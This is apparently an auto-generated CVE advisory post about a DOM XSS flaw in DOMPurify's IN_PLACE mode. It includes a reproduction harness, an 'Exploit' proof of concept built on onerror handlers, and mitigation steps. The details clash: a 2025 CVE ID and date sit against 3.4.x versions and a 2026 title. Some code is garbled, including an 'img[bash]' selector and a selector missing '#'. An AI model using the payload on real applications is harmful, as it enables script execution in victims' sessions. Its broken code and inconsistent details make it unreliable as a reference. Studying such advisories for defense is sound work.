DOMPurify, DOM XSS via Hook-Detached Subtree in IN_PLACE Mode, CVE-2025-26791 (High) -DC-Sep2026-2681

Listen to this Post

DOMPurify’s `IN_PLACE` mode performs sanitization directly on the caller’s live DOM subtree rather than on a detached clone. To address a previously reported hazard (GHSA-55q2-fjhq-7xh7), the library introduced a neutralization mechanism: when a hook detaches a node during sanitization, the library strips the detached subtree’s non-allow-listed attributes. This prevents queued resource-event handlers from firing on elements that are no longer part of the sanitized output.
However, this neutralization is wired only into the `beforeSanitizeElements` and `uponSanitizeElement` hook sites. The guard helper _handleHookDetachedNode, which invokes `_neutralizeSubtree` in `IN_PLACE` mode, is invoked only after those two hook types. It is never called from the `afterSanitizeElements` or `afterSanitizeAttributes` return paths, and `_sanitizeAttributes` never calls it at all.
An application that registers an `afterSanitizeElements` or `afterSanitizeAttributes` hook which removes a non-root element — a documented and supported pattern — will detach that element’s subtree with no neutralization. Descendant `on` handlers remain armed on the caller’s live tree after `sanitize()` returns. When the caller’s live document contains a queued resource event, such as an `` that began loading when the caller built the tree, that handler fires in page scope. This yields DOM XSS despite `IN_PLACE` sanitization.
The post-walk `IN_PLACE` neutralization pass iterates only DOMPurify.removed, and hook-detached nodes are intentionally not recorded there by design, so that pass cannot reach them either. The vulnerability requires no special privilege beyond supplying markup to an application that uses `IN_PLACE` together with a node-removing afterSanitize hook. Affected versions are 3.4.13 through 3.4.15; the issue is fixed in 3.4.16.

DailyCVE Form

Platform: DOMPurify
Version: 3.4.13-3.4.15
Vulnerability: DOM XSS
Severity: High
date: 2025-03-04

Prediction: 2025-03-18

What Undercode Say

Analytics

Clone the repository and inspect the vulnerable source
git clone https://github.com/cure53/DOMPurify.git
cd DOMPurify
git checkout 3.4.15
Examine _handleHookDetachedNode call sites
grep -n "_handleHookDetachedNode" src/purify.ts
// Reproduction harness (Node.js + jsdom)
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const { window } = new JSDOM('<!DOCTYPE html><body></body>');
const DOMPurify = createDOMPurify(window);
const root = window.document.createElement('div');
root.id = 'root';
root.innerHTML = '

<section id="wrap"><img src="x" onerror="ATTACKER()"></section>

';
window.document.body.appendChild(root);
DOMPurify.addHook('afterSanitizeElements', (node) => {
if (node.id === 'wrap') node.remove();
});
DOMPurify.sanitize(root, { IN_PLACE: true });
// Observed: detached <img> retains onerror
console.log(root.querySelector('wrap') === null); // true
console.log(!!window.document.querySelector('img[bash]')); // true
Verify affected versions against published npm artifacts
npm view dompurify versions --json | jq '.[] | select(. >= "3.4.13" and . <= "3.4.15")'

Exploit: (Educational Purposes!)

// Full proof-of-concept demonstrating DOM XSS via afterSanitizeElements detach
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const { window } = new JSDOM('<!DOCTYPE html><body></body>', {
runScripts: 'dangerously',
resources: 'usable'
});
const DOMPurify = createDOMPurify(window);
// Attacker-controlled markup
const root = window.document.createElement('div');
root.id = 'root';
root.innerHTML = '

<section id="wrap"><img src="x" onerror="window.__pwned=1"></section>

';
window.document.body.appendChild(root);
// Victim application registers removal hook per supported pattern
DOMPurify.addHook('afterSanitizeElements', (node) => {
if (node.id === 'wrap') node.remove();
});
DOMPurify.sanitize(root, { IN_PLACE: true });
// The detached <img> still carries onerror
// In a real browser, the queued resource event fires in page origin
console.log('Handler retained:', !!window.document.querySelector('img[bash]'));
// Alternate vector using afterSanitizeAttributes
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.id === 'wrap') node.remove();
});
DOMPurify.sanitize(root, { IN_PLACE: true });
// Same gap: descendant onerror remains armed
console.log('Handler retained:', !!window.document.querySelector('img[bash]'));

Protection: from this CVE

  1. Upgrade to DOMPurify 3.4.16 or later, where the fix enforces detach-neutralization at all hook sites including `afterSanitizeElements` and afterSanitizeAttributes.
  2. Interim mitigation without code change: Avoid removing nodes inside `afterSanitizeElements` or `afterSanitizeAttributes` hooks when using `IN_PLACE` mode. Perform such removals in `beforeSanitizeElements` or `uponSanitizeElement` instead.
  3. Avoid `IN_PLACE` mode for attacker-influenced content until a patched version is deployed. Use standard detached-clone sanitization where the caller’s live DOM is not mutated.
  4. Audit hook registrations: Identify any application code that registers `afterSanitizeElements` or `afterSanitizeAttributes` hooks which call `node.remove()` or otherwise detach non-root elements from the live tree.

Impact

An attacker who supplies markup processed by a victim application running `DOMPurify.sanitize(node, { IN_PLACE: true })` with a node-removing `afterSanitizeElements` or `afterSanitizeAttributes` hook can retain arbitrary `on` event handlers on descendants of a removed non-root element. Because `IN_PLACE` operates on the caller’s live document, a queued resource-event handler on such a descendant fires in the page origin after the synchronous `sanitize()` call returns. This achieves script execution in the victim’s session (DOM XSS), defeating DOMPurify’s `IN_PLACE` contract to neutralize handlers on subtrees removed from the live tree. The capability is script execution in the victim origin; exact confidentiality and integrity effects depend on the hosting application’s session.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top